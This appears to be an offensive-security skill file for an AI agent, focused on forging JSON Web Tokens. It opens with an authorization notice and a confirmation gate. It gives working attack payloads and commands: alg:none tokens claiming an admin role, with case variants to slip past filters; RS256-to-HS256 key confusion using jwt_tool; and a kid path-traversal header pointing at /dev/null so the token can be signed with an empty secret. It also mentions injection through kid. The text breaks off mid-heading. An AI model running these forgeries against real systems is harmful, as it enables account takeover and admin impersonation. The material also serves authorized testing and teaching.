hunt-jwt-crypto

> **⚠️ AUTHORIZED USE ONLY**

> This skill is for educational purposes or authorized security assessments only.

> You must have explicit, written permission from the system owner before using this tool.

> Misuse of this tool is illegal and strictly prohibited.

> **Mandatory confirmation gate**

> Before running any command that probes, exploits, changes, persists on, extracts data from, or attempts credential access against a target:

> 1. Ask the user to state the exact target URL, IP, account, or resource.

> 2. Ask the user to confirm written authorization and the permitted scope.

> 3. Show the exact command(s) and explain their expected effect.

> 4. Wait for explicit confirmation in the current conversation.

>

> Without that confirmation, remain read-only and provide defensive guidance only. Prefer a sandbox, disposable VM, or controlled lab.

# HUNT-JWT-CRYPTO — Forgeable JSON Web Tokens (A04 Cryptographic Failures)

What actually pays

A JWT is `header.payload.signature`, each base64url. The signature is the only

thing stopping you from editing the payload (your identity/role) and replaying

it. It pays **High/Critical** when the verifier can be tricked into accepting a

token you forged — so you become another user or an admin without their secret.

Two classic, generic verifier flaws:

- **`alg:none`** — the verifier trusts the token's own `alg` header. Set

`alg:"none"`, drop the signature, edit the payload (e.g. `role:"admin"`,

another user's `id`/`email`). A broken verifier skips signature checking.

- **RS256 → HS256 key confusion** — the token is signed RS256 (asymmetric). The

RSA **public** key is, by definition, public. If the verifier lets you choose

HS256, it will use that public key as the HMAC *secret* — which you also know.

Sign an edited payload with HS256 using the public key and it validates.

Recon — is this app JWT-based?

Login/token responses containing  "token":"eyJ..."   or  Set-Cookie: token=eyJ...
Authorization: Bearer eyJ...    on authenticated requests
A JWKS / public-key endpoint:   /.well-known/jwks.json, /jwks, public-key in the JS bundle

Decode the header (base64url the first segment). `"alg":"RS256"` → try key

confusion. Any alg → always try `alg:none` first; it's free.

Forging the token (never hand-encode base64 — use a JWT tool)

Use a purpose-built tool so encoding/signing is correct: **jwt_tool**

(`jwt_tool <token> -T` to tamper interactively, `-X a` for alg:none, `-X k -pk

public.pem` for key confusion), Burp's **JWT Editor** extension, or a few lines

of **PyJWT**. Each forge below is the concept plus the claim to edit.

**alg:none — become admin / another user**

header:    {"alg":"none","typ":"JWT"}
payload:   {"data":{"id":1,"email":"admin@target.example","role":"admin"}}
signature: (empty — keep the trailing dot:  header.payload. )

Some verifiers reject lowercase `none` but accept `None`/`NONE`/`nOnE` — try case variants.

**RS256 → HS256 key confusion — once you have the RSA public key**

1. Obtain the server's RSA public key as PEM. Sources: /jwks.json or
   /.well-known/jwks.json (convert the JWK to PEM), a public-key file in the JS
   bundle, or recover it from two captured tokens (e.g. jwt_tool / rsa_sign2n).
2. Re-sign an EDITED payload with HS256, using that PEM as the HMAC secret:
      jwt_tool <token> -X k -pk public.pem
   payload edit:  {"sub":"administrator"}   (or role:"admin" / another user's id)

**kid header injection — verifier loads the HMAC key from a FILE named by `kid`**

header:  {"alg":"HS256","kid":"../../../../../../../dev/null"}
secret:  ""     (contents of /dev/null = empty string → sign HS256 with an empty secret)
payload: {"sub":"administrator"}

Traverse out of the keys directory first. `kid` can also carry SQLi / command

injection / SSRF if the key lookup hits a DB / shell / URL — same idea: `kid` is

attacker-controlled and reaches a dangerous sink.

**jku / x5u header injection (RS256) — verifier fetches th